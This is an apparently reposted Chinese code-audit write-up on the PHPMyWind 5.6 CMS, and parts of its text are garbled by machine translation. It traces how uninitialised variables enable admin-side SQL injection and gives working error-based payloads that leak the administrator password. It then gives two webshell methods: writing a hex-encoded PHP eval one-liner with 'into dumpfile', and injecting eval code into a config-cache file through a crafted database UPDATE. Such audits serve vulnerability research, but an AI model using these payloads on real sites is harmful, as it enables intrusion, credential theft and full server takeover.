首页 » 网站建设 » phprunmagicquotes技巧_PHPMyWind代码审计

phprunmagicquotes技巧_PHPMyWind代码审计

访客 2024-11-18 0

扫一扫用手机浏览

文章目录 [+]

PHPMyWind 5.6(http://phpmywind.com/downloads/PHPMyWind_5.6.zip)

代码审计工具(Seay源代码审计系统)

phprunmagicquotes技巧_PHPMyWind代码审计

phprunmagicquotes技巧_PHPMyWind代码审计
(图片来自网络侵删)
0×02 代码审计过程

我们拥有了一个CMS的源码,实在我们可以先不用焦急先去看看这个CMS以前报过的漏洞,这个CMS比较老牌,轻微一查,就在乌云知识库创造了很多信息。

然后我们先看看这里漏洞为什么产生,究竟为什么,然后往那个方面思考。
然后我们再去将源码就先放入根目录访问开始安装吧!安装好之后我们查看index.php文件,开头第一行便是文件包含,包含/include/config.inc.php这个文件,这个文件包含了好几个文件

我们着重来看看common.inc.php,这个文件便是帮助我们上面触发漏洞的文件,后面两个什么.classs.php该当是定义类和函数的,可以先不看。

common.inc.php第一开始先定义一些常量,然后定义一个函数_RunMagicQuotes,这个函数实际上便是魔术引号的浸染。

再看下面45-58行,这看着觉得很像$$的变量覆盖漏洞,实际上这里时一个方便开拓的机制,可以让我们的传参全部都变成变量利用,例如我传参a=123。

那么经由这个处理就变为了$a = 123

这里记住,我们可以定义变量了,我通过全局搜索查询了下,调用这个文件都是文件的开头为主,然后这个文件中被调用的参数大部分都会先初始化参数,然后处理再进行调用。

然后代码又包含了三个文件

三个文件做什么的看开拓知心的注释就知道了,假如变量覆盖这个在包含common.func.php下面就可以飞起了。
这三个文件可以先不看,一个是常用函数,一个是各种配置变量定义,还有一个便是连接数据库的文件。
之后便是设置了一些路径之类的变量

然后我们还是回来看index.php,整页就没什么有用的地方了。
各种输出都是读取了数据库里面的数据然后输出。
然后还包含了两个文件,header.php|footer.php。
然后读取这几个PHP然后再去按照功能和模块去读取每个文件就行了。

那么根据我们的信息网络,我们知道了这款CMS,他以前爆过的SQL注入便是由于没用初始化变量SQL,然后直接想办法跳过这个变量SQL的赋值,然后造成直接传参SQL语句直接实行造成SQL注入,详情可以见乌云知识库找,这里就未便利贴链接了

那么我们根据这个思想去找漏洞就很大略,找没有初始化过的传参

开胃菜:SQL注入一:

打开admin目录下面的info_update.php文件

我们创造第55行有一个变量id,这个地方如果我们能够掌握变量id,那么我们可能就可以对这个CMS进行SQL注入,并且这个变量id都没有被单双引号包裹,那么如果存在注入,我们都不须要去考虑魔术引号带来的烦恼。

然后这个文件的第57-59行,便是没有初始化这个$id,而且$id的实行语句在初始化之前,算是被我捡到一只漏网之鱼了。

但是我这个info_update.php并没有初始化参数,那么我们就可以掌握$id的值,那么我们就可以进行SQL注入了。
我们再来追踪一下GetOne函数究竟干了什么?

看到include目录下面的mysqli.class.php文件的第262-294行

SetQuery函数是更换表名的前缀,然后Execute才是真的实行语句函数,然后们追踪这个函数,他的定义在mysql.class.php这个文件的第165-191行

很明显这的第191行是实行,但是这里很明显要过一个CheckSql的检测。

这个函数在这个文件的522行被定义。

这个很明显是80sec的过滤。
那么我们可以直策应用语句绕过,毕竟这个过滤也很老了,虽然这里有改动,由于过滤问题这里的SQLmap无法跑出Sql注入,百度下找到一个绕过的80sec语句妥妥的就绕过了。

注入的数据包

GET /admin/info_update.php?id=1 HTTP/1.1Host: 192.168.32.136Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=7s67quel3o522u240qquhlpo32Connection: close

然后构建的语句是:

AND id in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from pmw_admin limit 0,1))),char(@`'`))

直接拼接在id传参的后面可以直接通过报错注入显示超管的密码。
如果要账号就改子查询里面的语句

然后通过这个方法,我创造了这个CMS在书写的时候很多地方他差不多功能模块的核心代码就不会变。
然后我这里指出的这个SQL注入这代码属于核心代码。
只要后台文件名为

_update.php都存在这个问题。
涉及的文件特殊多。
好多文件都中招

SQL注入二:

后面创造的这个SQL注入也是和这个差不多,也属于可以好多文件中招

我们前辈行代码剖析吧,打开admin目录下面的soft_save.php文件

我们创造第22行有一个函数,我们来看看这个函数干了什么~

这个函数的定义在admin_func.php这个文件的第1315-1417行。

这里定义的这个函数,第一个传参是cid,然后由于我的上岸的账号并不是超管,以是实行了第43行的语句,很明显,这个函数直接将cid拼凑进了SQL语句,那么这个地方如果我们能够掌握变量cid,那么我们可能就可以对这个CMS进行SQL注入,并且这个变量cid都没有被单双引号包裹,那么如果存在注入,我们都不须要去考虑魔术引号带来的烦恼。
那么我们看看这个$cid是由什么掌握的,是由函数调用时的传参,那么便是soft_save.php第22行的变量classid。

然而很明显这个$classid没用进行初始化,并且在第二次初始化前就先实行了!


然后拿出我写的第一个SQL注入语句轻松拿下。

我来说下怎么注入吧,访问后台的软件下载管理

然后点击右下角的添加软件信息

然后将带号的栏目填上数据,由于有前端检测。

然后添加,抓包就行,然后将我语句的Payload 加在classid传参就行

AND model in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from phpmywind_db.pmw_admin limit 0,1))),char(@`'`))

可以直接通过报错注入显示超管的密码。
如果要账号就改子查询里面的语句

然后我们会创造这里实际上是调用了IsCategoryPriv函数传参所没有初始化并且拼接进的SQL语句没用利用引号包含造成的SQL注入。
利用了这个函数,然后传参没用初始化的文件也有好多。

正餐:

后台SQL注入彷佛危害不足,进了后台不应该是想着Getshell吗?

那我们来看看我找到的Getshell方法。

Getshell 一(通过into_dumpfile):

admin/database_backup.php这个文件的第43行涌现的一个switch,于是乎action传参决定实行哪个功能。

第238行-269行

这里只拦截了删除语句,以及去除反斜杠还有去空格,没有拦截其他的语句,那么我们再去Execute这个函数看看,这个函数在include/mysqli.class.php的166行被定义

这里有一个安全性检测我们去看下,这个函数还是在这个文件被定义,在523行到结束,这里代码有点长,我就贴核心的一块吧。

他过滤了一些常用的黑客函数,比如Union,sleep,benchmark,load_file,into outfile,但是他过滤还是有轻忽,他想到了过滤into outfile,但是没有过滤into dumpfile,以是只要我们利用into dumpfile就可以直接getshell写入一个webshell,但是写文件有个很大的问题便是须要知道他的绝对路径,那么绝对路径我们该怎么办妮?

我们可以看到4g.php这个文件,4g.php的第41行只要我们传参m=show

就会调用templates/default/mobile/show.php

我们来看看这个文件的第24-49行。

很明显这里24行是通过SELECT FROM `#@__infoclass` WHERE id = $cid AND checkinfo = ‘true’ ORDER BY orderid ASC去获取$row,我们传参cid他就会去读取

pmw_infoclasee表里面的内容,然后当cid=4的时候,由于49行要输出$row[‘title’]但是获取的参数中没有这个数据,于是乎就抛出了报错。

那么我们就获取了绝对路径,我这个的绝对路径是C:\phpstudy\WWW\

以是我们只要访问http://192.168.32.141//4g.php?m=show&&cid=4,就可以得到绝对路径,然后后台导出吧,为了防止过滤问题,我把导出的一句话写成了16进制。

一句话:<?php @eval($_REQUEST[a]);?>

16进制后:3c3f70687020406576616c28245f524551554553545b615d293b3f3e

于是乎导出语句便是:

select 0x3c3f70687020406576616c28245f524551554553545b615d293b3f3e into dumpfile ‘C:/phpstudy/WWW/shell.php’

直接访问后台页面,然后选择数据库的实行SQL语句就行

点击实行就行了。
成功实行

然后成功导出一句话木马,拿到了webshell

Getshell 二(通过修正数据库内容):

查看后台的site_save.php文件。
我们看13行-56行这个分支代码,第56行有一个函数我们来看看是什么浸染。

这个函数在这个文件的第131行-163行定义。

实际上便是读取数据库里面的#@__webconfig`表的数据,然后进行遍历,然后拼接进$str这个遍历,然后实行Writef这个函数,我先阐明以下#@__webconfig`是什么表,实际上#@__ 是代替前缀的,当处理的时候就会按照我安装的时候设定的前缀进行更换,我利用的是默认设置pmw作为表前缀,那么这里读取pmw_webconfig的内容,然后里面有两个if语句,实在看这个$str的阵势都能看出来这里是要写入配置到config.cache.php。

我们先来看这个函数里面的两个if,第一个if他的浸染便是判断数据表里面的字段varname如果读出来是cfg_countcode的时候将那条数据的varvalue所对应的值删除反斜杠然后赋值给$row[‘varvalue’]

第二个if便是判断表的vartype字段查出来是不是number,如果不是的话实行

$str .= "\${$row['varname']} = '".str_replace("'",'',$row['varvalue'])."';\r\n”

$row[‘varname’] 这个值是我们表里面查到的字段varname的值

$row[‘varvalue’] 这个值是我们表里面查到的字段varvalue的值

然后str_repalce是更换单引号,怕我利用单引号来跳出这个赋值,然后进行Getshell

那么如果$row[‘varname’]=a

$row['varvalue']=b

这个变量str就变为了

<?php if(!defined('IN_PHPMYWIND')) exit('Request Error!');$a = 'b';?>

这里很明显有戒备我单引号跳出来造成getshell,我们我们想一下,如果我们能够掌握$row[‘varname’]这个值是不是就可以代码实行了,比如这个值为

$row['varname']=a;eval($_REQUEST[a]);//

那么实行就变为了

$a;eval($_REQUEST[a]);//= 'b';

很明显有一句话木马,然后注释了后面,语法也没用问题。
那么核心便是两个,第一个是掌握这个$row[‘varname’],掌握这个字段很明显便是修正数据库里面的内容呗。
后台功能里面就供应了一个更新数据库的功能,我只须要实行

update pmw_webconfig set varname = 'a;eval($_REQUEST[a])//' where orderid=97

成功实行,然后我们看看数据库里面

当然我这样看是偷

那么我们通过这个方法已经修正掉了varname,那么如果$str真的是写入文件的话我们的

webshell就得手了。

那我们再看看Writef函数是干什么的,这个函数在common.func.php的第364-389行被定义。

很明显,判断如果函数传参$file的目录存在可写就写入,写入的东西便是函数传参的$str。

那么函数传参的$str不便是前面我们拼凑出来的变量str。

以是这里便是写入文件到config.cache.php文件。

万事俱备了,我们改了数据库内容能让恶意语句拼接进去了。
那么我们只要触发就行。
详细操作也很大略,我们在站点配置管理随便加一个新站点。

随便写就行,然后提交,我们的一句话就被插进去了。

然后我们只要传参a就行

成功Getshell

标签:

相关文章

介绍皮肤设置,如何打造理想肌肤状态

随着科技的发展和人们对美的追求,皮肤设置已成为美容护肤的重要一环。如何根据皮肤类型、肤质、年龄等因素进行合理设置,已成为众多爱美人...

网站建设 2025-01-03 阅读0 评论0

介绍盖章制作,传承文化,彰显权威

自古以来,盖章在我国文化中具有重要的地位。从古代的官印、私印到现代的公章、合同章,盖章已成为一种独特的文化符号,承载着丰富的历史内...

网站建设 2025-01-03 阅读0 评论0

介绍监控破坏,技术手段与法律风险并存

随着科技的飞速发展,监控设备已遍布大街小巷,成为维护社会治安的重要手段。一些不法分子为了逃避法律制裁,开始研究如何破坏监控设备。本...

网站建设 2025-01-03 阅读0 评论0

介绍登录不上之谜,技术故障还是人为疏忽

随着互联网的普及,登录已成为人们日常生活中不可或缺的一部分。在享受便捷的登录不上这一问题也困扰着许多用户。本文将深入剖析登录不上之...

网站建设 2025-01-03 阅读1 评论0

介绍电脑键盘调出方法,让操作更高效

随着科技的发展,电脑已经成为了我们日常生活中不可或缺的工具。而电脑键盘,作为电脑输入设备,更是我们与电脑进行交流的桥梁。你是否知道...

网站建设 2025-01-03 阅读0 评论0

介绍磁力链,高效便捷的文件下载利器

在互联网高速发展的今天,文件下载已成为日常生活中不可或缺的一部分。而磁力链作为一种新型的文件下载方式,凭借其高效、便捷的特点,受到...

网站建设 2025-01-03 阅读0 评论0